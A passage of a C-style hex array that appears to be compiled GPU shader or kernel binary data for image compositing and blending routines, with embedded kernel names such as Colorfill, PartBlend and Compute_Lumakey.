0x3fff0078, 0x00000d70, 0x3fff0073, 0x00000dc0, 0xbfff0009, 0x00000dd0, 0x3fff0079, 0x00000dd0,
0x3fff007a, 0x00000dd0, 0x3fff006f, 0x00000dd0, 0xbfff0043, 0x00000de0, 0x3fff007b, 0x00000de0,
0x3fff007c, 0x00000de0, 0x3fff0070, 0x00000de0, 0xbfff0045, 0x00000df0, 0x3fff007d, 0x00000df0,
0x3fff007e, 0x00000df0, 0x3fff0071, 0x00000df0, 0xbfff0047, 0x00000e00, 0x3fff006c, 0x00000e00,
0x3fff006d, 0x00000e00, 0x3fff0072, 0x00000e00, 0xbfff0049, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000,
0x0000002c, 0x00000021, 0x00000005, 0x00000001, 0x00000050, 0x000002b0, 0x00000006, 0x00000001,
0x00000300, 0x000002b0, 0x00000007, 0x00000001, 0x000005b0, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000005c4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x6c6f4300, 0x6966726f, 0x345f6c6c, 0x63533434,
0x31656c61, 0x6f435f36, 0x5374736e, 0x6c426372, 0x00646e65, 0x00000000, 0x00000000, 0x00000000,
0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff006e, 0x00000040,
0x3fff0009, 0x00000050, 0xbfff006f, 0x00000060, 0xbfff0071, 0x00000070, 0x3fff0010, 0x00000070,
0xbfff0074, 0x00000070, 0xbfff0075, 0x00000090, 0xbfff0076, 0x00000090, 0xbfff0077, 0x000000a0,
0xbfff0079, 0x000000a0, 0xbfff007a, 0x000000b0, 0xbfff0078, 0x000000c0, 0xbfff007b, 0x000000f0,
0x3fff000c, 0x00000100, 0xbfff0070, 0x00000110, 0xbfff0072, 0x00000130, 0x3fff000a, 0x00000130,
0xbfff007e, 0x00000130, 0xbfff007f, 0x00000140, 0x3fff000e, 0x00000150, 0xbfff007c, 0x00000150,
0xbfff007d, 0x000001b0, 0x3fff0011, 0x000001c0, 0xbfff0073, 0x000002b0, 0x3fff000d, 0x00000300,
0x3fff000b, 0x00000320, 0x3fff000f, 0x00000380, 0x3fff0018, 0x00000460, 0x3fff0014, 0x000004c0,
0x3fff0016, 0x000004d0, 0x3fff0012, 0x00000520, 0x3fff0019, 0x00000610, 0x3fff0015, 0x00000660,
0x3fff0013, 0x00000680, 0x3fff0017, 0x000006e0, 0x3fff0020, 0x000007c0, 0x3fff001c, 0x00000810,
0x3fff001e, 0x00000840, 0x3fff001a, 0x00000870, 0x3fff0021, 0x00000950, 0x3fff001d, 0x000009c0,
0x3fff001f, 0x000009f0, 0x3fff001b, 0x00000a30, 0x3fff0028, 0x00000b00, 0x3fff0024, 0x00000b70,
0x3fff0026, 0x00000ba0, 0x3fff0022, 0x00000be0, 0x3fff0029, 0x00000cd0, 0x3fff0025, 0x00000d20,
0x3fff0023, 0x00000d40, 0x3fff0027, 0x00000da0, 0x3fff0030, 0x00000e80, 0x3fff002c, 0x00000ee0,
0x3fff002e, 0x00000ef0, 0x3fff002a, 0x00000f40, 0x3fff0031, 0x00001030, 0x3fff002d, 0x00001080,
0x3fff002b, 0x000010a0, 0x3fff002f, 0x00001100, 0x3fff0038, 0x000011e0, 0x3fff0034, 0x00001230,
0x3fff0036, 0x00001260, 0x3fff0032, 0x00001290, 0x3fff0039, 0x00001370, 0x3fff0035, 0x000013e0,
0x3fff0037, 0x00001410, 0x3fff0033, 0x00001450, 0x3fff0040, 0x00001520, 0x3fff003c, 0x00001590,
0x3fff003e, 0x000015c0, 0x3fff003a, 0x00001600, 0x3fff0041, 0x000016f0, 0x3fff003d, 0x00001740,
0x3fff003b, 0x00001760, 0x3fff003f, 0x000017c0, 0x3fff0048, 0x000018a0, 0x3fff0044, 0x000018e0,
0x3fff0042, 0x00001910, 0x3fff0046, 0x00001970, 0x3fff0049, 0x00001a60, 0x3fff0045, 0x00001a70,
0x3fff0043, 0x00001af0, 0x3fff0047, 0x00000020, 0x00010000, 0x00000030, 0x3fff0002, 0x000001a0,
0xbfff000c, 0x00000210, 0xbfff000a, 0x00000220, 0xbfff000e, 0x000002e0, 0xbfff0010, 0x00000360,
0xbfff000d, 0x000003b0, 0xbfff000b, 0x000003e0, 0xbfff000f, 0x00000450, 0xbfff0011, 0x00000510,
0xbfff0014, 0x00000570, 0xbfff0016, 0x00000580, 0xbfff0012, 0x00000640, 0xbfff0018, 0x000006c0,
0xbfff0015, 0x00000710, 0xbfff0013, 0x00000740, 0xbfff0017, 0x000007b0, 0xbfff0019, 0x00000860,
0xbfff001c, 0x000008c0, 0xbfff001e, 0x00000900, 0xbfff001a, 0x000009d0, 0xbfff0020, 0x00000a10,
0xbfff001d, 0x00000a70, 0xbfff001f, 0x00000a80, 0xbfff001b, 0x00000b80, 0xbfff0021, 0x00000bc0,
0xbfff0024, 0x00000c30, 0xbfff0026, 0x00000c40, 0xbfff0022, 0x00000d00, 0xbfff0028, 0x00000d80,
0xbfff0025, 0x00000dd0, 0xbfff0023, 0x00000e00, 0xbfff0027, 0x00000e70, 0xbfff0029, 0x00000f30,
0xbfff002c, 0x00000f90, 0xbfff002e, 0x00000fa0, 0xbfff002a, 0x00001060, 0xbfff0030, 0x000010e0,
0xbfff002d, 0x00001130, 0xbfff002b, 0x00001160, 0xbfff002f, 0x000011d0, 0xbfff0031, 0x00001280,
0xbfff0034, 0x000012e0, 0xbfff0036, 0x00001320, 0xbfff0032, 0x000013f0, 0xbfff0038, 0x00001430,
0xbfff0035, 0x00001490, 0xbfff0037, 0x000014a0, 0xbfff0033, 0x000015a0, 0xbfff0039, 0x000015e0,
0xbfff003c, 0x00001650, 0xbfff003e, 0x00001660, 0xbfff003a, 0x00001720, 0xbfff0040, 0x000017a0,
0xbfff003d, 0x000017f0, 0xbfff003b, 0x00001820, 0xbfff003f, 0x00001890, 0xbfff0041, 0x00001960,
0xbfff0044, 0x000019a0, 0xbfff0042, 0x000019d0, 0xbfff0046, 0x00001a50, 0xbfff0048, 0x00001aa0,
0x3fff0076, 0x00001aa0, 0x3fff0077, 0x00001ab0, 0x3fff007a, 0x00001ab0, 0x3fff007b, 0x00001b00,
0x3fff006c, 0x00001b10, 0x3fff0074, 0x00001b10, 0x3fff0075, 0x00001b10, 0xbfff0043, 0x00001b20,
0x3fff0078, 0x00001b20, 0x3fff0079, 0x00001b20, 0xbfff0045, 0x00001b30, 0x3fff006f, 0x00001b40,
0x3fff007e, 0x00001b40, 0x3fff007f, 0x00001b50, 0x3fff0070, 0x00001b50, 0x3fff0071, 0x00001b80,
0xbfff0009, 0x00001b90, 0x3fff007c, 0x00001b90, 0x3fff007d, 0x00001b90, 0x3fff0072, 0x00001b90,
0xbfff0047, 0x00001ba0, 0x3fff006d, 0x00001ba0, 0x3fff006e, 0x00001ba0, 0x3fff0073, 0x00001ba0,
0xbfff0049, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000,
0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000,
0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000024, 0x00000005, 0x00000001,
0x00000050, 0x000002b8, 0x00000006, 0x00000001, 0x00000308, 0x000002b8, 0x00000007, 0x00000001,
0x000005c0, 0x00000002, 0x00000000, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000005c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x6c6f4300, 0x6966726f, 0x345f6c6c, 0x63533434, 0x31656c61, 0x61505f36, 0x6c427472, 0x00646e65,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002,
0x00000030, 0xbfff006e, 0x00000040, 0x3fff0010, 0x00000040, 0xbfff0073, 0x00000060, 0x3fff0009,
0x00000070, 0xbfff0070, 0x00000080, 0xbfff006f, 0x00000090, 0xbfff0071, 0x000000a0, 0xbfff0076,
0x000000a0, 0xbfff0077, 0x000000b0, 0x3fff0011, 0x000000b0, 0xbfff007c, 0x000000c0, 0xbfff0072,
0x000000d0, 0xbfff0074, 0x000000d0, 0xbfff0075, 0x000000e0, 0xbfff0078, 0x000000e0, 0xbfff0079,
0x000000f0, 0x3fff000c, 0x00000120, 0xbfff007a, 0x00000120, 0xbfff007b, 0x00000130, 0x3fff000a,
0x00000140, 0x3fff000e, 0x00000170, 0x3fff000d, 0x000001c0, 0x3fff0018, 0x000001d0, 0xbfff007d,
0x000001d0, 0xbfff007e, 0x00000250, 0x3fff000b, 0x00000290, 0x3fff0012, 0x000002a0, 0x3fff0019,
0x00000310, 0x3fff0014, 0x00000330, 0x3fff000f, 0x00000370, 0x3fff0013, 0x00000390, 0xbfff007f,
0x000003b0, 0x3fff0020, 0x00000410, 0x3fff0017, 0x00000460, 0x3fff0016, 0x000004b0, 0x3fff001a,
0x000004d0, 0x3fff0021, 0x00000530, 0x3fff0015, 0x000005c0, 0x3fff001e, 0x000005d0, 0x3fff001d,
0x00000610, 0x3fff0028, 0x00000650, 0x3fff001c, 0x00000660, 0x3fff001f, 0x000006f0, 0x3fff001b,
0x00000710, 0x3fff0029, 0x00000780, 0x3fff0024, 0x00000800, 0x3fff0022, 0x00000810, 0x3fff0023,
0x00000820, 0x3fff0025, 0x000008a0, 0x3fff0026, 0x000008b0, 0x3fff0027, 0x000008c0, 0x3fff0030,
0x00000940, 0x3fff0031, 0x000009b0, 0x3fff002e, 0x000009e0, 0x3fff0038, 0x00000a40, 0x3fff002a,
0x00000a50, 0x3fff002b, 0x00000ac0, 0x3fff002c, 0x00000b50, 0x3fff0034, 0x00000ba0, 0x3fff002f,
0x00000bd0, 0x3fff0036, 0x00000c00, 0x3fff0039, 0x00000c10, 0x3fff002d, 0x00000c70, 0x3fff0032,
0x00000c80, 0x3fff0040, 0x00000d70, 0x3fff0035, 0x00000d80, 0x3fff003c, 0x00000dd0, 0x3fff003a,
0x00000e00, 0x3fff0033, 0x00000e10, 0x3fff0037, 0x00000e30, 0x3fff003e, 0x00000eb0, 0x3fff0041,
0x00000ec0, 0x3fff0048, 0x00000fc0, 0x3fff003b, 0x00000fd0, 0x3fff003d, 0x00000fe0, 0x3fff0042,
0x00000ff0, 0x3fff003f, 0x00001000, 0x3fff0049, 0x00001150, 0x3fff0046, 0x00001160, 0x3fff0047,
0x00001170, 0x3fff0044, 0x00001190, 0x3fff0043, 0x000011a0, 0x3fff0045, 0x00000020, 0x00010000,
0x00000030, 0x3fff0002, 0x000001b0, 0xbfff000c, 0x00000200, 0xbfff000a, 0x00000210, 0xbfff000e,
0x00000260, 0xbfff000d, 0x00000270, 0xbfff0010, 0x00000340, 0xbfff000b, 0x00000350, 0xbfff0011,
0x00000360, 0xbfff0012, 0x000003f0, 0xbfff0014, 0x00000450, 0xbfff000f, 0x00000470, 0xbfff0013,
0x000004f0, 0xbfff0018, 0x00000500, 0xbfff0017, 0x00000580, 0xbfff0016, 0x00000590, 0xbfff0019,
0x000005a0, 0xbfff001a, 0x00000620, 0xbfff0015, 0x000006a0, 0xbfff001e, 0x000006b0, 0xbfff001d,
0x00000740, 0xbfff001c, 0x00000750, 0xbfff001f, 0x00000760, 0xbfff0021, 0x000007d0, 0xbfff0020,
0x000007e0, 0xbfff001b, 0x00000860, 0xbfff0024, 0x000008e0, 0xbfff0022, 0x000008f0, 0xbfff0023,
0x00000900, 0xbfff0025, 0x00000990, 0xbfff0026, 0x000009a0, 0xbfff0027, 0x00000a10, 0xbfff0028,
0x00000a90, 0xbfff002e, 0x00000b00, 0xbfff0029, 0x00000b10, 0xbfff0030, 0x00000b20, 0xbfff002a,
0x00000b30, 0xbfff002b, 0x00000bb0, 0xbfff002c, 0x00000c40, 0xbfff0034, 0x00000cb0, 0xbfff002f,
0x00000cc0, 0xbfff0036, 0x00000cd0, 0xbfff0038, 0x00000d30, 0xbfff002d, 0x00000d40, 0xbfff0031,
0x00000d60, 0xbfff0032, 0x00000e50, 0xbfff0035, 0x00000e60, 0xbfff003c, 0x00000ed0, 0xbfff003a,
0x00000ee0, 0xbfff0033, 0x00000ef0, 0xbfff0037, 0x00000f00, 0xbfff0039, 0x00000f10, 0xbfff003e,
0x00001080, 0xbfff0041, 0x00001090, 0xbfff0040, 0x000010a0, 0xbfff003b, 0x000010b0, 0xbfff003d,
0x000010c0, 0x3fff007b, 0x000010c0, 0xbfff0042, 0x000010d0, 0xbfff003f, 0x00001130, 0x3fff006e,
0x00001230, 0xbfff0009, 0x00001240, 0x3fff007e, 0x00001240, 0x3fff007f, 0x00001240, 0xbfff0046,
0x00001250, 0x3fff0077, 0x00001250, 0x3fff0078, 0x00001250, 0x3fff0071, 0x00001250, 0xbfff0047,
0x00001260, 0x3fff007c, 0x00001260, 0x3fff007d, 0x00001260, 0xbfff0044, 0x00001270, 0x3fff006c,
0x00001270, 0x3fff006d, 0x00001270, 0xbfff0048, 0x00001280, 0x3fff0073, 0x00001280, 0x3fff0074,
0x00001280, 0x3fff006f, 0x00001280, 0xbfff0043, 0x00001290, 0x3fff0075, 0x00001290, 0x3fff0076,
0x00001290, 0x3fff0070, 0x00001290, 0xbfff0045, 0x000012a0, 0x3fff0079, 0x000012a0, 0x3fff007a,
0x000012a0, 0x3fff0072, 0x000012a0, 0xbfff0049, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x000002b8, 0x00000006, 0x00000001, 0x00000304,
0x000002b8, 0x00000007, 0x00000001, 0x000005bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000005b0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x6c6f4300, 0x6966726f, 0x345f6c6c, 0x63533434, 0x31656c61, 0x72535f36, 0x656c4263, 0x0000646e,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002,
0x00000030, 0xbfff006e, 0x00000040, 0x3fff0010, 0x00000040, 0xbfff0073, 0x00000060, 0xbfff0076,
0x00000070, 0xbfff006f, 0x00000080, 0xbfff0079, 0x00000090, 0xbfff007c, 0x000000a0, 0xbfff0070,
0x000000b0, 0x3fff000a, 0x000000b0, 0xbfff0077, 0x000000b0, 0xbfff0078, 0x000000c0, 0xbfff0074,
0x000000c0, 0xbfff0075, 0x000000d0, 0x3fff0009, 0x000000e0, 0x3fff000c, 0x000000e0, 0xbfff007d,
0x000000e0, 0xbfff007e, 0x000000f0, 0xbfff007a, 0x000000f0, 0xbfff007b, 0x00000120, 0xbfff0071,
0x00000160, 0xbfff0072, 0x000001d0, 0x3fff000e, 0x00000220, 0x3fff0011, 0x000002b0, 0x3fff000b,
0x00000300, 0x3fff000d, 0x000003a0, 0x3fff000f, 0x000003f0, 0x3fff0018, 0x00000480, 0x3fff0012,
0x000004d0, 0x3fff0014, 0x00000570, 0x3fff0016, 0x000005c0, 0x3fff0019, 0x00000650, 0x3fff0013,
0x000006a0, 0x3fff0015, 0x00000740, 0x3fff0017, 0x00000790, 0x3fff0020, 0x00000820, 0x3fff001a,
0x00000870, 0x3fff001c, 0x00000910, 0x3fff001e, 0x00000960, 0x3fff0021, 0x000009f0, 0x3fff001b,
0x00000a40, 0x3fff001d, 0x00000ae0, 0x3fff001f, 0x00000b30, 0x3fff0028, 0x00000bc0, 0x3fff0022,
0x00000c10, 0x3fff0024, 0x00000cb0, 0x3fff0026, 0x00000d00, 0x3fff0029, 0x00000d90, 0x3fff0023,
0x00000de0, 0x3fff0025, 0x00000e80, 0x3fff0027, 0x00000ed0, 0x3fff0030, 0x00000f60, 0x3fff002a,
0x00000fb0, 0x3fff002c, 0x00001050, 0x3fff002e, 0x000010a0, 0x3fff0031, 0x00001130, 0x3fff002b,
0x00001180, 0x3fff002d, 0x00001220, 0x3fff002f, 0x00001270, 0x3fff0038, 0x00001300, 0x3fff0032,
0x00001350, 0x3fff0034, 0x000013f0, 0x3fff0036, 0x00001440, 0x3fff0039, 0x000014d0, 0x3fff0033,
0x00001520, 0x3fff0035, 0x000015c0, 0x3fff0037, 0x00001610, 0x3fff0040, 0x000016a0, 0x3fff003a,
0x000016f0, 0x3fff003c, 0x00001790, 0x3fff003e, 0x000017e0, 0x3fff0041, 0x00001870, 0x3fff003b,
0x000018c0, 0x3fff003d, 0x00001960, 0x3fff003f, 0x000019b0, 0x3fff0048, 0x00001a40, 0x3fff0042,
0x00001a90, 0x3fff0044, 0x00001b30, 0x3fff0046, 0x00001b80, 0x3fff0049, 0x00001c10, 0x3fff0043,
0x00001c60, 0x3fff0045, 0x00001d10, 0x3fff0047, 0x00000020, 0x00010000, 0x00000030, 0x3fff0002,
0x000001a0, 0xbfff000a, 0x000001f0, 0xbfff000c, 0x00000290, 0xbfff000e, 0x000002e0, 0xbfff0010,
0x00000380, 0xbfff000b, 0x000003c0, 0xbfff000d, 0x00000460, 0xbfff000f, 0x000004b0, 0xbfff0011,
0x00000550, 0xbfff0012, 0x00000590, 0xbfff0014, 0x00000630, 0xbfff0016, 0x00000680, 0xbfff0018,
0x00000720, 0xbfff0013, 0x00000760, 0xbfff0015, 0x00000800, 0xbfff0017, 0x00000850, 0xbfff0019,
0x000008f0, 0xbfff001a, 0x00000930, 0xbfff001c, 0x000009d0, 0xbfff001e, 0x00000a20, 0xbfff0020,
0x00000ac0, 0xbfff001b, 0x00000b00, 0xbfff001d, 0x00000ba0, 0xbfff001f, 0x00000bf0, 0xbfff0021,
0x00000c90, 0xbfff0022, 0x00000cd0, 0xbfff0024, 0x00000d70, 0xbfff0026, 0x00000dc0, 0xbfff0028,
0x00000e60, 0xbfff0023, 0x00000ea0, 0xbfff0025, 0x00000f40, 0xbfff0027, 0x00000f90, 0xbfff0029,
0x00001030, 0xbfff002a, 0x00001070, 0xbfff002c, 0x00001110, 0xbfff002e, 0x00001160, 0xbfff0030,
0x00001200, 0xbfff002b, 0x00001240, 0xbfff002d, 0x000012e0, 0xbfff002f, 0x00001330, 0xbfff0031,
0x000013d0, 0xbfff0032, 0x00001410, 0xbfff0034, 0x000014b0, 0xbfff0036, 0x00001500, 0xbfff0038,
0x000015a0, 0xbfff0033, 0x000015e0, 0xbfff0035, 0x00001680, 0xbfff0037, 0x000016d0, 0xbfff0039,
0x00001770, 0xbfff003a, 0x000017b0, 0xbfff003c, 0x00001850, 0xbfff003e, 0x000018a0, 0xbfff0040,
0x00001940, 0xbfff003b, 0x00001980, 0xbfff003d, 0x00001a20, 0xbfff003f, 0x00001a70, 0xbfff0041,
0x00001b10, 0xbfff0042, 0x00001b50, 0xbfff0044, 0x00001bf0, 0xbfff0046, 0x00001c40, 0xbfff0048,
0x00001c60, 0x3fff007c, 0x00001c80, 0x3fff007d, 0x00001c80, 0x3fff007e, 0x00001cb0, 0xbfff0043,
0x00001cf0, 0x3fff006c, 0x00001d00, 0x3fff007b, 0x00001d00, 0x3fff0070, 0x00001d00, 0xbfff0045,
0x00001d10, 0x3fff006f, 0x00001d20, 0x3fff0075, 0x00001d30, 0x3fff0078, 0x00001d40, 0x3fff0073,
0x00001d40, 0x3fff0074, 0x00001d50, 0x3fff0079, 0x00001d50, 0x3fff007a, 0x00001d80, 0xbfff0009,
0x00001d90, 0x3fff006d, 0x00001d90, 0x3fff006e, 0x00001d90, 0x3fff0071, 0x00001d90, 0xbfff0047,
0x00001da0, 0x3fff0076, 0x00001da0, 0x3fff0077, 0x00001da0, 0x3fff0072, 0x00001da0, 0xbfff0049,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x000002b0, 0x00000006, 0x00000001, 0x000002fc, 0x000002b0, 0x00000007, 0x00000001, 0x000005ac,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000006f4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00020001, 0x6d6f4300, 0x69736f70, 0x345f6574, 0x315f3434,
0x00000036, 0x00000000, 0x00000000, 0x00000000, 0x80000071, 0x00000020, 0x80010072, 0x00000030,
0x3fff006b, 0x00000030, 0xbfff006f, 0x00000040, 0xbfff006c, 0x000000a0, 0x3fff006a, 0x000000c0,
0x3fff000a, 0x000000c0, 0x3fff000b, 0x000000c0, 0x3fff000c, 0x000000c0, 0x3fff000d, 0x000000c0,
0x3fff000e, 0x000000c0, 0x3fff000f, 0x000000c0, 0x3fff0010, 0x000000c0, 0x3fff0011, 0x000000c0,
0x3fff0012, 0x000000c0, 0x3fff0013, 0x000000c0, 0x3fff0014, 0x000000c0, 0x3fff0015, 0x000000c0,
0x3fff0016, 0x000000c0, 0x3fff0017, 0x000000c0, 0x3fff0018, 0x000000c0, 0x3fff0019, 0x000000c0,
0x3fff001a, 0x000000c0, 0x3fff001b, 0x000000c0, 0x3fff001c, 0x000000c0, 0x3fff001d, 0x000000c0,
0x3fff001e, 0x000000c0, 0x3fff001f, 0x000000c0, 0x3fff0020, 0x000000c0, 0x3fff0021, 0x000000c0,
0x3fff0022, 0x000000c0, 0x3fff0023, 0x000000c0, 0x3fff0024, 0x000000c0, 0x3fff0025, 0x000000c0,
0x3fff0026, 0x000000c0, 0x3fff0027, 0x000000c0, 0x3fff0028, 0x000000c0, 0x3fff0029, 0x000000c0,
0x3fff002a, 0x000000c0, 0x3fff002b, 0x000000c0, 0x3fff002c, 0x000000c0, 0x3fff002d, 0x000000c0,
0x3fff002e, 0x000000c0, 0x3fff002f, 0x000000c0, 0x3fff0030, 0x000000c0, 0x3fff0031, 0x000000c0,
0x3fff0032, 0x000000c0, 0x3fff0033, 0x000000c0, 0x3fff0034, 0x000000c0, 0x3fff0035, 0x000000c0,
0x3fff0036, 0x000000c0, 0x3fff0037, 0x000000c0, 0x3fff0038, 0x000000c0, 0x3fff0039, 0x000000c0,
0x3fff003a, 0x000000c0, 0x3fff003b, 0x000000c0, 0x3fff003c, 0x000000c0, 0x3fff003d, 0x000000c0,
0x3fff003e, 0x000000c0, 0x3fff003f, 0x000000c0, 0x3fff0040, 0x000000c0, 0x3fff0041, 0x000000c0,
0x3fff0042, 0x000000c0, 0x3fff0043, 0x000000c0, 0x3fff0044, 0x000000c0, 0x3fff0045, 0x000000c0,
0x3fff0046, 0x000000c0, 0x3fff0047, 0x000000c0, 0x3fff0048, 0x000000c0, 0x3fff0049, 0x000000c0,
0x3fff004a, 0x000000c0, 0x3fff004b, 0x000000c0, 0x3fff004c, 0x000000c0, 0x3fff004d, 0x000000c0,
0x3fff004e, 0x000000c0, 0x3fff004f, 0x000000c0, 0x3fff0050, 0x000000c0, 0x3fff0051, 0x000000c0,
0x3fff0052, 0x000000c0, 0x3fff0053, 0x000000c0, 0x3fff0054, 0x000000c0, 0x3fff0055, 0x000000c0,
0x3fff0056, 0x000000c0, 0x3fff0057, 0x000000c0, 0x3fff0058, 0x000000c0, 0x3fff0059, 0x000000c0,
0x3fff005a, 0x000000c0, 0x3fff005b, 0x000000c0, 0x3fff005c, 0x000000c0, 0x3fff005d, 0x000000c0,
0x3fff005e, 0x000000c0, 0x3fff005f, 0x000000c0, 0x3fff0060, 0x000000c0, 0x3fff0061, 0x000000c0,
0x3fff0062, 0x000000c0, 0x3fff0063, 0x000000c0, 0x3fff0064, 0x000000c0, 0x3fff0065, 0x000000c0,
0x3fff0066, 0x000000c0, 0x3fff0067, 0x000000c0, 0x3fff0068, 0x000000c0, 0x3fff0069, 0x00000220,
0xbfff006d, 0x000003a0, 0xbfff006e, 0x00000730, 0xbfff0070, 0x000007a0, 0x3fff007f, 0x00000010,
0x3fff0071, 0x00000020, 0x00010000, 0x00000200, 0x3fff006c, 0x000003c0, 0x3fff006d, 0x00000580,
0x3fff006e, 0x00000610, 0x3fff006a, 0x00000730, 0x3fff006b, 0x00000740, 0x3fff006f, 0x00000770,
0x3fff0070, 0x00000780, 0xbfff000a, 0x00000780, 0xbfff000b, 0x00000780, 0xbfff000c, 0x00000780,
0xbfff000d, 0x00000780, 0xbfff000e, 0x00000780, 0xbfff000f, 0x00000780, 0xbfff0010, 0x00000780,
0xbfff0011, 0x00000780, 0xbfff0012, 0x00000780, 0xbfff0013, 0x00000780, 0xbfff0014, 0x00000780,
0xbfff0015, 0x00000780, 0xbfff0016, 0x00000780, 0xbfff0017, 0x00000780, 0xbfff0018, 0x00000780,
0xbfff0019, 0x00000780, 0xbfff001a, 0x00000780, 0xbfff001b, 0x00000780, 0xbfff001c, 0x00000780,
0xbfff001d, 0x00000780, 0xbfff001e, 0x00000780, 0xbfff001f, 0x00000780, 0xbfff0020, 0x00000780,
0xbfff0021, 0x00000780, 0xbfff0022, 0x00000780, 0xbfff0023, 0x00000780, 0xbfff0024, 0x00000780,
0xbfff0025, 0x00000780, 0xbfff0026, 0x00000780, 0xbfff0027, 0x00000780, 0xbfff0028, 0x00000780,
0xbfff0029, 0x00000780, 0xbfff002a, 0x00000780, 0xbfff002b, 0x00000780, 0xbfff002c, 0x00000780,
0xbfff002d, 0x00000780, 0xbfff002e, 0x00000780, 0xbfff002f, 0x00000780, 0xbfff0030, 0x00000780,
0xbfff0031, 0x00000780, 0xbfff0032, 0x00000780, 0xbfff0033, 0x00000780, 0xbfff0034, 0x00000780,
0xbfff0035, 0x00000780, 0xbfff0036, 0x00000780, 0xbfff0037, 0x00000780, 0xbfff0038, 0x00000780,
0xbfff0039, 0x00000780, 0xbfff003a, 0x00000780, 0xbfff003b, 0x00000780, 0xbfff003c, 0x00000780,
0xbfff003d, 0x00000780, 0xbfff003e, 0x00000780, 0xbfff003f, 0x00000780, 0xbfff0040, 0x00000780,
0xbfff0041, 0x00000780, 0xbfff0042, 0x00000780, 0xbfff0043, 0x00000780, 0xbfff0044, 0x00000780,
0xbfff0045, 0x00000780, 0xbfff0046, 0x00000780, 0xbfff0047, 0x00000780, 0xbfff0048, 0x00000780,
0xbfff0049, 0x00000780, 0xbfff004a, 0x00000780, 0xbfff004b, 0x00000780, 0xbfff004c, 0x00000780,
0xbfff004d, 0x00000780, 0xbfff004e, 0x00000780, 0xbfff004f, 0x00000780, 0xbfff0050, 0x00000780,
0xbfff0051, 0x00000780, 0xbfff0052, 0x00000780, 0xbfff0053, 0x00000780, 0xbfff0054, 0x00000780,
0xbfff0055, 0x00000780, 0xbfff0056, 0x00000780, 0xbfff0057, 0x00000780, 0xbfff0058, 0x00000780,
0xbfff0059, 0x00000780, 0xbfff005a, 0x00000780, 0xbfff005b, 0x00000780, 0xbfff005c, 0x00000780,
0xbfff005d, 0x00000780, 0xbfff005e, 0x00000780, 0xbfff005f, 0x00000780, 0xbfff0060, 0x00000780,
0xbfff0061, 0x00000780, 0xbfff0062, 0x00000780, 0xbfff0063, 0x00000780, 0xbfff0064, 0x00000780,
0xbfff0065, 0x00000780, 0xbfff0066, 0x00000780, 0xbfff0067, 0x00000780, 0xbfff0068, 0x00000780,
0xbfff0069, 0x00000790, 0x3fff0072, 0x000007a0, 0x3fff007f, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000,
0x0000002c, 0x00000012, 0x00000005, 0x00000001, 0x00000040, 0x00000358, 0x00000006, 0x00000001,
0x00000398, 0x00000358, 0x00000007, 0x00000001, 0x000006f0, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000003b4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x6d6f4300, 0x65747570, 0x6d754c5f, 0x79656b61,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x80000072, 0x00000020, 0x80010073, 0x00000030,
0x3fff006b, 0x00000060, 0x0000ffff, 0x000000b0, 0x3fff006b, 0x00000100, 0x3fff0002, 0x00000190,
0x3fff006d, 0x00000200, 0x3fff006e, 0x00000270, 0x3fff006f, 0x000002a0, 0x3fff000a, 0x000002a0,
0x3fff000b, 0x000002a0, 0x3fff000c, 0x000002a0, 0x3fff000d, 0x000002a0, 0x3fff000e, 0x000002a0,
0x3fff000f, 0x000002a0, 0x3fff0010, 0x000002a0, 0x3fff0011, 0x000002a0, 0x3fff0012, 0x000002a0,
0x3fff0013, 0x000002a0, 0x3fff0014, 0x000002a0, 0x3fff0015, 0x000002a0, 0x3fff0016, 0x000002a0,
0x3fff0017, 0x000002a0, 0x3fff0018, 0x000002a0, 0x3fff0019, 0x000002a0, 0x3fff001a, 0x000002a0,
0x3fff001b, 0x000002a0, 0x3fff001c, 0x000002a0, 0x3fff001d, 0x000002a0, 0x3fff001e, 0x000002a0,
